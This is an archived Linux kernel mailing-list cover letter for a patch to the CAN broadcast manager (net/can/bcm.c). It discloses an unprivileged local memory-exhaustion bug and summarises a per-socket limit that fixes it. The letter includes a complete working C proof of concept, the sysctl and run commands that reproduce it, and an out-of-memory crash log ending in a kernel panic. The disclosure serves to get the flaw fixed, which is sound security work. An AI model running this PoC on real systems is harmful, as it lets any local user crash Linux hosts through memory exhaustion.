From: Zihan Xi <zihanx@nebusec.ai>
To: linux-can@vger.kernel.org, mkl@pengutronix.de, socketcan@hartkopp.net
Cc: urs.thuermann@volkswagen.de, davem@davemloft.net,
vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources
Date: Wed, 28 Oct 2026 13:43:24 +0000 [thread overview]
Message-ID: <cover.1793109154.git.zihanx@nebusec.ai> (raw)
In-Reply-To: <cover.1793089479.git.zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user.
The relevant details are provided below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)
Bug details:
bcm_rx_setup() limits frames in one operation but not the number of
operations attached to a socket. Distinct CAN IDs create distinct
operations; with ifindex 0, a local unprivileged process needs no CAN
device. CAN-FD operations allocate frame arrays and CAN receiver
objects outside socket buffer accounting, allowing repeated requests
to consume kernel memory.
Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM
operation and frame-array allocations. Keep operation charges until
the operation is freed, and receiver charges until CAN-core RCU
reclamation frees each receiver. Reject requests over the limits with
-ENOBUFS.
Changes in v2:
Set the error to -ENOMEM when either RX frame-array allocation fails,
before entering the common cleanup path. This ensures the send syscall
reports the allocation failure instead of returning success. Both
frame-array allocation failure paths were exercised with guest
fail_page_alloc injection.
Reproducer:
Build the included PoC source with:
cc -O2 -Wall -Wextra -o poc poc.c
In the guest's initial user and network namespaces, as root, configure
OOM panic to capture the crash:
echo 0 > /proc/sys/kernel/panic_on_warn
echo 2 > /proc/sys/vm/panic_on_oom
echo 0 > /proc/sys/vm/oom_kill_allocating_task
Then, as the unprivileged guest user test_user (UID 1001), run:
./poc 0 1000
No namespace setup, added capabilities, or CAN device is required; the
socket uses ifindex 0. Root is used only to set the OOM sysctls.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U
struct rx_setup_req {
struct bcm_msg_head head;
struct canfd_frame frames[BCM_NFRAMES];
};
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static unsigned long parse_ul(const char *arg, const char *name)
{
char *end = NULL;
unsigned long value;
errno = 0;
value = strtoul(arg, &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(EXIT_FAILURE);
}
return value;
}
int main(int argc, char **argv)
{
unsigned long max_ops = 0;
unsigned long progress_step = DEFAULT_PROGRESS_STEP;
unsigned long hold_seconds = 0;
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = 0,
};
struct rx_setup_req *req;
size_t req_len;
unsigned long i;
int fd;
if (argc > 1)
max_ops = parse_ul(argv[1], "max_ops");
if (argc > 2)
progress_step = parse_ul(argv[2], "progress_step");
if (argc > 3)
hold_seconds = parse_ul(argv[3], "hold_seconds");
if (!progress_step)
progress_step = DEFAULT_PROGRESS_STEP;
req = aligned_alloc(8, sizeof(*req));
if (!req)
die("aligned_alloc");
memset(req, 0, sizeof(*req));
req->head.opcode = RX_SETUP;
req->head.flags = CAN_FD_FRAME;
req->head.nframes = BCM_NFRAMES;
for (i = 0; i < BCM_NFRAMES; i++) {
req->frames[i].len = CANFD_MAX_DLEN;
memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
}
req_len = sizeof(*req);
fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (fd < 0)
die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("connect(AF_CAN, ifindex=0)");
for (i = 0; !max_ops || i < max_ops; i++) {
ssize_t written;
uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);
req->head.can_id = CAN_EFF_FLAG | id;
written = send(fd, req, req_len, 0);
if (written < 0) {
fprintf(stderr,
"send failed after %lu RX_SETUP operations: %s\n",
i, strerror(errno));
return EXIT_FAILURE;
}
if ((i + 1) % progress_step == 0) {
fprintf(stderr,
"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
i + 1, req_len, (uint64_t)(i + 1) * req_len);
}
}
fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
i);
if (hold_seconds) {
fprintf(stderr, "holding socket open for %lu seconds\n",
hold_seconds);
sleep(hold_seconds);
}
return EXIT_SUCCESS;
}
------END PoC--------
----BEGIN crash log----
The stack below is decoded with source locations from the DWARF5,
reduced-debug-info build. The guest OOM was triggered during
`bcm_sendmsg()` allocation at `net/can/bcm.c:1431`.
[ 95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[ 95.493324][ T9374] Call Trace:
[ 95.493466][ T9374] dump_header (mm/oom_kill.c:464)
[ 95.493544][ T9374] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 95.493555][ T9374] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 95.493567][ T9374] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 95.493636][ T9374] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 95.493866][ T9374] __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[ 95.493899][ T9374] ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493920][ T9374] bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493933][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.493971][ T9374] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[ 95.494018][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.494027][ T9374] ? __pfx___sys_sendto (net/socket.c:2235)
[ 95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
can: bcm: limit RX operation resource usage per socket
include/linux/can/core.h | 7 +++
net/can/af_can.c | 34 ++++++++++-
net/can/af_can.h | 1 +
net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------
4 files changed, 147 insertions(+), 22 deletions(-)
--
2.43.0
next prev parent reply other threads:[~2026-10-28 13:43 UTC|newest]
Thread overview: 13+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
2026-10-27 11:29 ` sashiko-bot
2026-10-27 13:08 ` zihan xi
2026-10-27 13:11 ` Marc Kleine-Budde
2026-10-27 13:22 ` Oliver Hartkopp
2026-10-28 13:43 ` Zihan Xi [this message]
2026-10-28 13:43 ` [PATCH net v2 " Zihan Xi
2026-10-28 13:53 ` sashiko-bot
2026-10-28 14:14 ` zihan xi
2026-10-28 15:04 ` Oliver Hartkopp
2026-10-28 15:36 ` zihan xi
2026-10-28 16:04 ` Oliver Hartkopp
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1793109154.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=davem@davemloft.net \
--cc=linux-can@vger.kernel.org \
--cc=mkl@pengutronix.de \
--cc=socketcan@hartkopp.net \
--cc=urs.thuermann@volkswagen.de \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox